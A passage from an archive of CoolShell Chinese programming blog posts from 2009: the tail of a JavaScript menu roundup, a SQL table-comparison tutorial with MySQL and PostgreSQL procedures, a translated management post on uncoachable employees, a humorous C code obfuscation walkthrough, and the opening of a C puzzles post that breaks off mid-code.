[高亮滑动式菜单](http://www.leigeber.com/2008/05/sliding-javascript-menu-highlight-1kb/)\n\n\n这个特效和第8个很类似。\n\n\n[http://images.sixrevisions.com/2009/04/29-08_highlight_menu.jpg](http://www.leigeber.com/2008/05/sliding-javascript-menu-highlight-1kb/)\n\n\n### 12. [高亮式菜单](http://css-tricks.com/learning-jquery-fading-menu-replacing-content/)\n\n\n鼠标经过的时候，菜单项会高亮起来。而没有鼠标的经过的时候，其是暗淡的。\n\n\n[http://images.sixrevisions.com/2009/04/29-05_fading_menu.jpg](http://css-tricks.com/examples/MenuFader/)\n\n\n [演示页面](http://css-tricks.com/examples/MenuFader/)\n\n\n### 13. [简单的多级下拉菜单](http://javascript-array.com/scripts/simple_drop_down_menu/)\n\n\n这是一个教程，教你怎么做这个菜单。\n\n\n[http://images.sixrevisions.com/2009/04/29-06_multil_level_drop_down.jpg](http://javascript-array.com/scripts/simple_drop_down_menu/)\n\n\n### 14. [jQuery 制作的背景图动画菜单](http://snook.ca/archives/javascript/jquery-bg-image-animations/)\n\n\n[http://images.sixrevisions.com/2009/04/29-12_background_position.jpg](http://snook.ca/technical/jquery-bg/)\n\n\n [演示页面](http://snook.ca/technical/jquery-bg/)\n\n\n### 15. [Mootools Redux](http://www.chromasynthetic.com/blog/mootools-demo-redux/57/)\n\n\n使用MooTools 制作的一个“鱼眼”式的导航条。\n\n\n[http://images.sixrevisions.com/2009/04/29-10_mootools_demo.jpg](http://www.chromasynthetic.com/blog/uploads/mootools_nav_example.html)\n\n\n [演示页面](http://www.chromasynthetic.com/blog/uploads/mootools_nav_example.html)\n\n\n### 16. [折叠式边栏菜单](http://berndmatzner.de/jquery/hoveraccordion/)\n\n\n[http://images.sixrevisions.com/2009/04/29-11_hover_accordion.jpg](http://berndmatzner.de/jquery/hoveraccordion/)\n\n\n### 17. [UvumiTools 式的下拉菜单](http://tools.uvumi.com/dropdown.html)\n\n\n另一个基于MooTools 制作的下拉菜单。\n\n\n[http://images.sixrevisions.com/2009/04/29-15_uvumitools%20_menu.jpg](http://tools.uvumi.com/dropdown.html)\n\n\n### 18. [jQuery UI Tabs](http://stilbuero.de/jquery/tabs_3/)\n\n\n使用jQuery制作的Tab页.\n\n\n[http://images.sixrevisions.com/2009/04/29-16_jquery_ui_tabs.jpg](http://stilbuero.de/jquery/tabs_3/)\n\n\n [演示页面](http://stilbuero.de/jquery/tabs_3/)\n\n\n### 19. [右键菜单Proto.Menu](http://yura.thinkweb2.com/scripting/contextMenu/)\n\n\n使用Prototype 框架制作的右键菜单。\n\n\n[http://images.sixrevisions.com/2009/04/29-19_right_click.jpg](http://yura.thinkweb2.com/scripting/contextMenu/)\n\n\n### 20. [展开/收起式菜单](http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/)\n\n\n一个支持两层的有点类似于树形的菜单。\n\n\n[http://images.sixrevisions.com/2009/04/29-20_exp_col_menu.jpg](http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/)\n\n\n[演示页面](http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/)\n\n\n文章：[来源](http://sixrevisions.com/javascript/20-excellent-javascript-navigation-techniques-and-examples/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [20个优秀的Javascript导航技术](https://coolshell.cn/articles/918.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-27 如何比较两个数据表.md",
    "content": "---\nlayout: post\ntitle: 如何比较两个数据表\ndate: 2009/5/27/ 15:2:14\nupdated: 2009/5/27/ 15:2:14\nstatus: publish\npublished: true\ntype: post\n---\n\n有些时候，我们可能想要比较一下两个数据表，以找到其中不同的数据。比如，在进行数据移植的时候，或是在合并数据的时候，或是在比对验证数据的时候。当然比较两个表，需要这两个表结构是一样的。\n\n\n我们先假设一下有如下表结构：\n\n\n\n```\n\nCREATE TABLE jajal\n(\n    user_id integer NOT NULL,\n    first_name character varying(255),\n    last_name character varying(255),\n    grade character(1),\n    CONSTRAINT jajal_pkey PRIMARY KEY (user_id)\n)\n\n```\n\n  \n\n然后，我们有两张表——jajal和jajal\\_copy，其内容如下：\n\n\n####  jajal\n\n\n\n\n| user\\_id | first\\_name | last\\_name | grade |\n| --- | --- | --- | --- |\n| 1 | Some | Dude | A |\n| 2 | Other | Guy | B |\n| 3 | You are | Welcome | B |\n| 4 | What | Other | A |\n| 5 | INeed | You | C |\n| 6 | Mixed | Nuts | Z |\n| 7 | Kirk | Land | B |\n| 8 | Bit | Shooter | A |\n| 9 | Sun | Microsystem | C |\n| 10 | Extra | Fancy | B |\n\n\n#### jajal\\_copy\n\n\n\n\n| user\\_id | first\\_name | last\\_name | grade |\n| --- | --- | --- | --- |\n| 1 | Some | Dude | A |\n| 2 | Other | Guy | B |\n| 3 | You are | Welcome | B |\n| 4 | What | Other | A |\n| 5 | INeed | You | C |\n| 6 | Mixed | Nuts | C |\n| 7 | Kirk | Land | B |\n| 8 | Bit | Shooter | A |\n| 9 | Sun | Microsystem | C |\n| 10 | Extra | Fancy | B |\n\n\n \n\n\n要比较这两张表的数据，找出不一样的数据行。我们可以使用[outer join](http://en.wikipedia.org/wiki/Join_(SQL)#Outer_joins) 技术。我给outer join做了一个链接，是Wikipedia的，如果你对这个技术不是很清楚，还请你行看看其技术细节。\n\n\n下面是具体的SQL语句：\n\n\n#### 使用FULL OUTER JOIN\n\n\n\n```\n\nSELECT\n     *\nFROM\n     jajal j\n     FULL OUTER JOIN jajal_copy jc ON jc.first_name = j.first_name\n     AND jc.last_name = j.last_name\n     AND jc.grade = j.grade\n     AND jc.user_id = j.user_id\nWHERE\n     j.user_id IS NULL\n     OR jc.user_id IS NULL\n\n```\n\n运行结果如下：\n\n\n\n\n| user\\_id | first\\_name | last\\_name | grade | user\\_id | first\\_name | last\\_name | grade |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| [NULL] | [NULL] | [NULL] | [NULL] | 6 | Mixed | Nuts | C |\n| 6 | Mixed | Nuts | Z | [NULL] | [NULL] | [NULL] | [NULL] |\n\n\n \n\n\n#### 使用NATURAL FULL OUTER JOIN\n\n\n关于[natural join](http://en.wikipedia.org/wiki/Join_(SQL)#Natural_join)，你可以看看Wikipedia是怎么说的。\n\n\n\n```\n\nSELECT\n       *\nFROM\n       jajal j\n       NATURAL FULL OUTER JOIN jajal_copy jc\nWHERE\n       j.user_id IS NULL\n       OR jc.user_id IS NULL\n\n```\n\n运行结果如下：\n\n\n\n\n| user\\_id | first\\_name | last\\_name | grade |\n| --- | --- | --- | --- |\n| 6 | Mixed | Nuts | C |\n| 6 | Mixed | Nuts | Z |\n\n\n \n\n\n#### MySQL SQL 代码\n\n\n\n```\nMySQL 并不支持 FULL OUTER JOIN，但是我们可以使用LEFT JOIN 和 RIGHT JOIN 来实现这一功能。如下所示。\n```\n\n\n```\n\nSELECT\n*\nFROM\njajal j\nLEFT JOIN jajal_copy jc ON jc.first_name = j.first_name\nAND jc.last_name = j.last_name\nAND jc.grade = j.grade\nAND jc.user_id = j.user_id\nWHERE\njc.user_id IS NULL\nUNION ALL\nSELECT\n*\nFROM\njajal j\nRIGHT JOIN jajal_copy jc ON jc.first_name = j.first_name\nAND jc.last_name = j.last_name\nAND jc.grade = j.grade\nAND jc.user_id = j.user_id\nWHERE\nj.user_id IS NULL\n\n```\n\n或者你更喜欢NATURAL JOIN 版本\n\n\n\n```\n\nSELECT\n*\nFROM\njajal j\nNATURAL LEFT JOIN jajal_copy jc\nWHERE\njc.user_id IS NULL\nUNION ALL\nSELECT\n*\nFROM\njajal j\nNATURAL RIGHT JOIN jajal_copy jc\nWHERE\nj.user_id IS NULL\n\n```\n\n当然，如果你需要一个MySQL的存储过程的话，下面是一个示例：\n\n\n\n```\n\nDELIMITER $$\n\nCREATE PROCEDURE `db_schema`.`tablediff`\n    (schema_name VARCHAR(64), table1 VARCHAR(64), table2 VARCHAR(64))\nBEGIN\n    DECLARE done INT DEFAULT 0;\n    DECLARE sql_statement TEXT DEFAULT '';\n    DECLARE sql_statement_where TEXT DEFAULT '';\n    DECLARE sql_statement_pk TEXT DEFAULT '';\n    DECLARE col_name VARCHAR(64);\n    DECLARE col_name_cur CURSOR FOR\n        SELECT\n            COLUMN_NAME\n        FROM\n            information_schema.COLUMNS\n        WHERE\n            TABLE_SCHEMA = schema_name\n            AND TABLE_NAME = table1\n    ;\n    DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = 1;\n\n    OPEN col_name_cur;\n    traverse_columns: LOOP\n        FETCH col_name_cur INTO col_name;\n\n        IF done THEN\n            CLOSE col_name_cur;\n            LEAVE traverse_columns;\n        END IF;\n\n        SET sql_statement_where = CONCAT(sql_statement_where,\n            ' AND a.', col_name, ' = b.', col_name);\n        SET sql_statement_pk = CONCAT(sql_statement_pk,\n            'AND b.', col_name, ' IS NULL');\n    END LOOP;\n\n    SELECT\n        COLUMN_NAME INTO col_name\n    FROM\n        information_schema.KEY_COLUMN_USAGE\n    WHERE\n        CONSTRAINT_SCHEMA = schema_name\n        AND CONSTRAINT_NAME = 'PRIMARY'\n        AND TABLE_NAME = table1\n    LIMIT 1\n    ;\n    IF col_name IS NOT NULL THEN\n        SET sql_statement_pk = CONCAT('AND b.', col_name, ' IS NULL');\n    END IF;\n\n    SET sql_statement = CONCAT('SELECT * FROM ', schema_name, '.', table1, ' a LEFT JOIN ', schema_name, '.', table2, ' b ON TRUE');\n    SET sql_statement = CONCAT(sql_statement, sql_statement_where, ' WHERE TRUE ', sql_statement_pk);\n    SET sql_statement = CONCAT(sql_statement, ' UNION ALL SELECT * FROM ', schema_name, '.', table1, ' b RIGHT JOIN ', schema_name, '.', table2, ' a ON TRUE');\n    SET sql_statement = CONCAT(sql_statement, sql_statement_where, ' WHERE TRUE ', sql_statement_pk);\n\n    SET @s = sql_statement;\n    PREPARE stmt1 FROM @s;\n    EXECUTE stmt1;\n    DEALLOCATE PREPARE stmt1;\n\nEND$$\nDELIMITER ;\n\n```\n\n \n\n\n \n\n\n#### PostgreSQL 下的SQL语句\n\n\n下面是PostgreSQL的一个存储过程：\n\n\n\n```\n\nCREATE OR REPLACE FUNCTION tablediff (\n    IN schema_name VARCHAR(64),\n    IN table1 VARCHAR(64),\n    IN table2 VARCHAR(64)\n) RETURNS BIGINT AS\n$BODY$\nDECLARE\n    the_result BIGINT DEFAULT 0;\n    sql_statement TEXT DEFAULT '';\n    sql_statement_where TEXT DEFAULT '';\n    sql_statement_pk TEXT DEFAULT '';\n    col_name VARCHAR(64);\n    col_name_cur CURSOR FOR\n        SELECT\n            column_name\n        FROM\n            information_schema.columns\n        WHERE\n            table_catalog = schema_name\n            AND table_schema = 'public'\n            AND table_name = table1\n    ;\nBEGIN\n    OPEN col_name_cur;\n\n    LOOP\n        FETCH col_name_cur INTO col_name;\n        IF NOT FOUND THEN\n            EXIT;\n        END IF;\n\n        sql_statement_where := sql_statement_where || ' AND a.' || col_name || ' = b.' || col_name;\n    END LOOP;\n\n    SELECT\n        column_name INTO col_name\n    FROM\n        information_schema.table_constraints tc\n        JOIN information_schema.constraint_column_usage ccu ON\n            ccu.constraint_name = tc.constraint_name\n    WHERE\n        tc.table_catalog = schema_name\n        AND tc.table_schema = 'public'\n        AND tc.table_name = table1\n    LIMIT 1\n    ;\n\n    IF col_name IS NOT NULL THEN\n        sql_statement_pk := ' a.' || col_name || ' IS NULL';\n        sql_statement_pk := sql_statement_pk || ' OR b.' || col_name || ' IS NULL';\n    END IF;\n\n    sql_statement := 'SELECT COUNT(*) FROM ' || schema_name || '.public.' || table1 || ' a FULL OUTER JOIN ' || schema_name || '.public.' || table2 || ' b ON TRUE';\n    sql_statement := sql_statement || sql_statement_where || ' WHERE ' || sql_statement_pk;\n\n    EXECUTE sql_statement INTO the_result;\n\n    RETURN the_result;\nEND;$BODY$\nLANGUAGE 'plpgsql' STABLE;\n\n```\n\n \n\n\n文章：[来源](http://www.microshell.com/database/sql/comparing-data-from-2-database-tables/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3433.html)[6个有用的MySQL语句](https://coolshell.cn/articles/3433.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [![NoSQL 数据建模技术](../wp-content/uploads/2012/05/overview2-1-150x150.png)](https://coolshell.cn/articles/7270.html)[NoSQL 数据建模技术](https://coolshell.cn/articles/7270.html)\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [如何比较两个数据表](https://coolshell.cn/articles/925.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-3 不要拯救那些职场上的“无可救药”.md",
    "content": "---\nlayout: post\ntitle: 不要拯救那些职场上的“无可救药”\ndate: 2009/5/3/ 10:6:26\nupdated: 2009/5/3/ 10:6:26\nstatus: publish\npublished: true\ntype: post\n---\n\n[此文](http://www.marshallgoldsmithlibrary.com/blog/2009/05/02/spotting-the-uncoachables/)来自Marshall Goldsmith的[博客](http://www.marshallgoldsmithlibrary.com/blog/)，此人曾任Peter Drucker Foundation 的Board  member（实在不知道怎么翻译），49年出生，生平中是一系列管理学方面的成就，是一位罕见的高产的，大师型的博主。\n\n\n显然，我所翻译的标题有些夸张（原标题是“spotting the uncoachables”）。\n\n\n职场上除了职位所确立的关系之外，还有一种重要的关系，那就是“师徒关系”。如果幸运，大家会遇到有人愿意 coach 自己，给自己传递技能或者指点职场之道。等我们在一个地方呆久了，也会有时候 coach 一些新入道的同事，甚至有时候为了达到团队目的，需要用自己的经验和技能影响自己的同僚。\n\n\n此文提到的了4种很难coach的情形，大家可以拿来参考。但是这并不代表我们遇到觉得“朽木不可雕也”的人的时候就应该彻底放弃。如果我们无可避免的需要影响他们的行为，我们需要更有技巧的选择自己的方式。\n\n\n\n**四类不可coach的人：**\n\n\n1. 自己并没意识到有任何问题的人\n2. 其努力方向和公司战略相左的人\n3. 入错行的人（也许我们应该引导他们去发现自己才能所属的领域）\n4. 怨天尤人的人（老认为别人有问题的人）\n\n\n祝好\n\n\n\n> 原文：\n> \n> \n> [Spotting the “Uncoachables”](http://www.marshallgoldsmithlibrary.com/blog/2009/05/02/spotting-the-uncoachables/ \"Permanent Link: Spotting the “Uncoachables”\")\n> ---------------------------------------------------------------------------------------------------------------------------------------------------------------\n> \n> \n> \n> Even if you are the best coach in the world, if the person you are coaching shouldn’t be coached, the coaching isn’t going to work. The good news is that the “uncoachables” are easier than you think to spot. How do you know when someone is uncoachable? How do you detect a lost cause? Following are four indicators that you are dealing with one of these people:\n> \n> \n> **1. She doesn’t think she has a problem**.\n> \n> \n> This successful adult has no interest in changing. Her behavior is working fine for her. If she doesn’t care to change, you are wasting your time! Let me give you an example of a nice woman who didn’t think she had a problem. My mother, a lovely woman and much-admired first-grade teacher, was so dedicated to her craft that she didn’t draw the line between inside and outside the classroom. She talked to all of us, including my father, in the same slow, patient manner, using the same simple vocabulary that she used with her six-year-olds every day. One day as she graciously and methodically corrected his grammar for the millionth time, he looked at her, sighed, and said, “Honey, I’m 70 years old. Let it go.” My father had absolutely no interest in changing. He didn’t perceive a problem. So no matter how much, how hard, or how diligently she coached, he wasn’t going to change.\n> \n> \n> **2. He is pursuing the wrong strategy for the organization**.\n> \n> \n> If this guy is already going in the wrong direction, all you’re going to do with your coaching is help him get there faster.\n> \n> \n> **3. They’re in the wrong job**.\n> \n> \n> Sometimes people feel that they’re in the wrong job with the wrong company. They may believe they’re meant to be doing something else or that their skills are being misused. Here’s a good way to determine if you’re working with one of these people. Ask them, “If we shut down the company today, would you be relieved, surprised, or sad?” If you hear ‘relieved,’ you’ve got yourself a live one. Send them packing. You can’t change the behavior of unhappy people so that they become happy: You can only fix behavior that’s making people around them unhappy.\n> \n> \n> **4. They think everyone else is the problem**.\n> \n> \n> A long time ago I had a client who, after a few high-profile employee departures, was concerned about employee morale. He had a fun, successful company and people liked the work, but feedback said that the boss played favorites in the way he compensated people. When I reported this feedback to my client, he completely surprised me. He said he agreed with the charge and thought he was right to do so. First off, I’m not a compensation strategist and so I wasn’t equipped to deal with this problem, but then he surprised me again. He hadn’t called me to help him change; he wanted me to fix his employees. It’s times like these that I find the nearest exit. It’s hard to help people who don’t think they have a problem. It’s impossible to fix people who think someone else is the problem.\n> \n> \n> My suggestion in cases like these? Save time, skip the heroic measures, and move on. These are arguments you can’t ever win.\n> \n> \n> \n> Life is good.  \n> \n> Marshall\n> \n> \n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/5292.html)[弱爆程序员的特征值](https://coolshell.cn/articles/5292.html)\n* [![你应该知道的20个Ajax技术(01-10)](../wp-content/uploads/2009/03/1-150x150.png)](https://coolshell.cn/articles/7.html)[你应该知道的20个Ajax技术(01-10)](https://coolshell.cn/articles/7.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1693.html)[给我一个序列号](https://coolshell.cn/articles/1693.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [![Eclipse开发Android应用程序入门:重装上阵](../wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg)](https://coolshell.cn/articles/4334.html)[Eclipse开发Android应用程序入门:重装上阵](https://coolshell.cn/articles/4334.html)\nThe post [不要拯救那些职场上的“无可救药”](https://coolshell.cn/articles/753.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-30 如何加密_混乱C源代码.md",
    "content": "---\nlayout: post\ntitle: 如何加密/混乱C源代码\ndate: 2009/5/30/ 7:30:5\nupdated: 2009/5/30/ 7:30:5\nstatus: publish\npublished: true\ntype: post\n---\n\n之前发表了《**6个变态的C语言Hello World程序**》[[酷壳链接](https://coolshell.cn/articles/914.html)] [[CSDN链接](http://blog.csdn.net/haoel/archive/2009/05/26/4217565.aspx)]，主要是是像大家展示了一些C语言的变态玩法。也向大家展示了一下程序是可以写得让人看不懂的，在那篇文章中，可以看到很多人的留言，很多人都觉得很好玩，是的，那本来是用来供朋友们“消遣作乐”，供娱乐娱东而已，不必太过认真。\n\n\n不过，通过这种极端的写法，大家可以看到源代码都可以写得那么复杂难懂的。大家也许在赞叹之余一笑了之，而我则希望，大家能够在娱乐以后认真思考一下，你不要以为咱们自己不会把代码搞得那么复杂，只不过没有像那6个Hello World一样那么极端，不过，说句老实话，**咱们每个程序都有把清晰的程序搞得一团混乱的潜能，只不过程度不一样罢了，我并不是在这里危言耸听，大家好自为之**。\n\n\n下面是一个Step by Step的教程，教你如何把一个清晰的代码变得复杂难懂的。当然，这只是一个“简明教程”了。还是那句话——“本文仅供朋友们“消遣作乐”，如果你要觉得有意思的话，顶个贴。如果你觉得没什么意思的话，一笑了之。仅供娱乐而已，不必太过认真。”\n\n\n\n#### 开始程序\n\n\n下面是一个找出素数的程序：\n\n\n\n```\n\nvoid primes(int cap)\n{\n    int i, j, composite;\n\n    for(i = 2; i < cap; ++i) {\n        composite = 0;\n        for(j = 2; j * j < i; ++j) {\n            composite += !(i % j);\n        }\n        if(!composite){\n            printf(\"%dt\", i);\n        }\n    }\n}\n\nint main()\n{\n    primes(100);\n}\n\n```\n\n下面我们来看看如何把上面这段代码搞得复杂难懂。\n\n\n#### 第一步、把for变成while\n\n\n通常来说，for循坏要以while循坏简单一些，上面的程序有二重for循环，我们不但要把其变成while循环，而且还要把二重循环的变成一重的循环，然后使用大量的if-else语句来判断。\n\n\n\n```\n\nvoid primes(int cap)\n{\n    int i, j, composite, t = 0;\n\n    while(t < cap * cap) {\n        i = t / cap;\n        j = t++ % cap;\n        if(i <= 1);\n        else if(!j)\n            composite = j;\n        else if(j == i && !composite)\n            printf(\"%dt\",i);\n        else if(j > 1 && j < i)\n            composite += !(i % j);\n    }\n}\n\nint main()\n{\n    primes(100);\n}\n\n```\n\n#### 第二步，把循坏变成递归\n\n\n递归在某些时候是可以把代码变得简单，但大多数的情况下是把代码变得复杂，而且很没有效率。下面是把上面的while循环变成了递归。变成了递归后，函数的参数都变成3个了。\n\n\n\n```\n\nvoid primes(int cap, int t, int composite)\n{\n    int i,j;\n    i = t / cap;\n    j = t % cap;\n    if(i <= 1)\n        primes(cap,t+1,composite);\n    else if(!j)\n        primes(cap,t+1,j);\n    else if(j == i && !composite)\n        (printf(\"%dt\",i), primes(cap,t+1,composite));\n    else if(j > 1 && j < i)\n        primes(cap,t+1, composite + !(i % j));\n    else if(t < cap * cap)\n        primes(cap,t+1,composite);\n}\n\nint main()\n{\n    primes(100,0,0);\n}\n\n```\n\n#### 第三步，弄乱代码结构/使用没有含义的变量名\n\n\n关于如何弄乱代码结构，其中一个小技巧是，使用“？”表达式代替if-else语句。\n\n\n\n```\n\nvoid primes(int m, int t, int c)\n{\n    int i,j;\n    i = t / m;\n    j = t % m;\n    (i <= 1) ? primes(m,t+1,c) : (!j) ? primes(m,t+1,j) : (j == i && !c) ?\n    (printf(\"%dt\",i), primes(m,t+1,c)) : (j > 1 && j < i) ?\n    primes(m,t+1,c + !(i % j)) : (t < m * m) ? primes(m,t+1,c) : 0;\n}\n\nint main()\n{\n    primes(100,0,0);\n}\n\n```\n\n#### 第四步，取消临时变量\n\n\n临时变量一般用来保存反复使用的一个表达式的值。使用大量重复的表达式来取消这些临时变量的也可以让代码复杂起来。\n\n\n\n```\n\nvoid primes(int m, int t, int c)\n{\n  ((t / m) <= 1) ? primes(m,t+1,c) : !(t % m) ? primes(m,t+1, t % m) :\n  ((t % m)==(t / m) && !c) ? (printf(\"%dt\",(t / m)), primes(m,t+1,c)) :\n  ((t % m)> 1 && (t % m) < (t / m)) ? primes(m,t+1,c + !((t / m) % (t % m))) :\n  (t < m * m) ? primes(m,t+1,c) : 0;\n}\n\nint main()\n{\n    primes(100,0,0);\n}\n\n```\n\n#### 第五步，继续弄乱变量名\n\n\n我们知道，下划线是合法的变量名，所以，我们不妨用\\_\\_，\\_\\_\\_，\\_\\_\\_\\_来代替m，t，c。函数名也可以使用下划线来代替。让我们来看看求素数的函数能变成什么。\n\n\n\n```\n\nvoid _(int __, int ___, int ____)\n{\n    ((___ / __) <= 1) ? _(__,___+1,____) : !(___ % __) ? _(__,___+1,___ % __) :\n    ((___ % __)==(___ / __) && !____) ? (printf(\"%dt\",(___ / __)),\n    _(__,___+1,____)) : ((___ % __) > 1 && (___ % __) < (___ / __)) ?\n    _(__,___+1,____ + !((___ / __) % (___ % __))) : (___ < __ * __) ?\n    _(__,___+1,____) : 0;\n}\n\nint main()\n{\n    _(100,0,0);\n}\n\n```\n\n#### 第六步，移除常量\n\n\n在上面的程序中，还有一些常量，你可以通过增加一个宏定义，或是增加一个函数的形参来取代这一常量。\n\n\n\n```\n\nvoid _(int __, int ___, int ____, int _____)\n{\n    ((___ / __) <= _____) ? _(__,___+_____,____,_____) : !(___ % __) ? _(__,___+_____,___ % __, _____) :\n    ((___ % __)==(___ / __) && !____) ? (printf(\"%dt\",(___ / __)),\n    _(__,___+_____,____,_____)) : ((___ % __) > _____ && (___ % __) < (___ / __)) ?\n    _(__,___+_____,____,_____ + !((___ / __) % (___ % __))) : (___ < __ * __) ?\n    _(__,___+_____,____,_____) : 0;\n}\n\nint main() {\n    _(100,0,0,1);\n}\n\n```\n\n程序到这里应该差不多了。还是那句话——“**每一个程序员都有把源代码弄复杂的潜质**”，大家好自为之。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [如何加密/混乱C源代码](https://coolshell.cn/articles/933.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-31 C语言的谜题.md",
    "content": "---\nlayout: post\ntitle: C语言的谜题\ndate: 2009/5/31/ 9:39:58\nupdated: 2009/5/31/ 9:39:58\nstatus: publish\npublished: true\ntype: post\n---\n\n这几天，本站推出了几篇关于C语言的很多文章如下所示：\n\n\n* **语言的歧义** [[酷壳链接](https://coolshell.cn/articles/830.html)] [[CSDN链接](http://blog.csdn.net/haoel/archive/2009/05/18/4197010.aspx)]\n* **谁说C语言很简单？** [[酷壳链接](https://coolshell.cn/articles/873.html)] [[CSDN链接](http://blog.csdn.net/haoel/archive/2009/05/26/4217950.aspx)]\n* **6个变态的C语言Hello World程序** [[酷壳链接](https://coolshell.cn/articles/914.html)] [[CSDN链接](http://blog.csdn.net/haoel/archive/2009/05/26/4217565.aspx)]\n* **如何加密/弄乱C源代码** [[酷壳链接](https://coolshell.cn/articles/933.html)] [[CSDN链接](http://blog.csdn.net/haoel/archive/2009/05/30/4225974.aspx)]\n* **C语言的谜题** [[酷壳链接](https://coolshell.cn/articles/945.html)] [[CSDN链接](http://blog.csdn.net/haoel/archive/2009/06/01/4231029.aspx)]\n\n\n我们可以看到很多C语言相关的一些东西。比如《语言的歧义》主要告诉了大家C语言中你意想不到的错误以及一些歧义上的东西。而《谁说C语言很简单》则通过一些看似你从来不可能写出的代码来告诉大家C语言并不是一件容易事情。《6个变态的hello world》和《如何弄乱C的源代码》则以一种极端的方式告诉大家，不要以为咱们自己写不出混乱的代码，每个程序员其实都有把代码搞得一团乱的潜质。通过这些文章，相信你对编程或是你觉得很简单的C语言有了一些了解。是的，很不容易吧，以前是不是低估了编程和C语言？今天是否我们又在低估C++和Java呢？\n\n\n本篇文章《C语言的谜题》展示了14个C语言的迷题以及答案，代码应该是足够清楚的，而且我也相信有相当的一些例子可能是我们日常工作可能会见得到的。通过这些迷题，希望你能更了解C语言。如果你不看答案，不知道是否有把握回答各个谜题？让我们来试试。\n\n\n\n**1、下面的程序并不见得会输出 hello-std-out，你知道为什么吗？**\n\n\n\n```\n\n#include <stdio.h>\n#include <unistd.h>\nint main()  \n{\n    while(1)\n    {\n     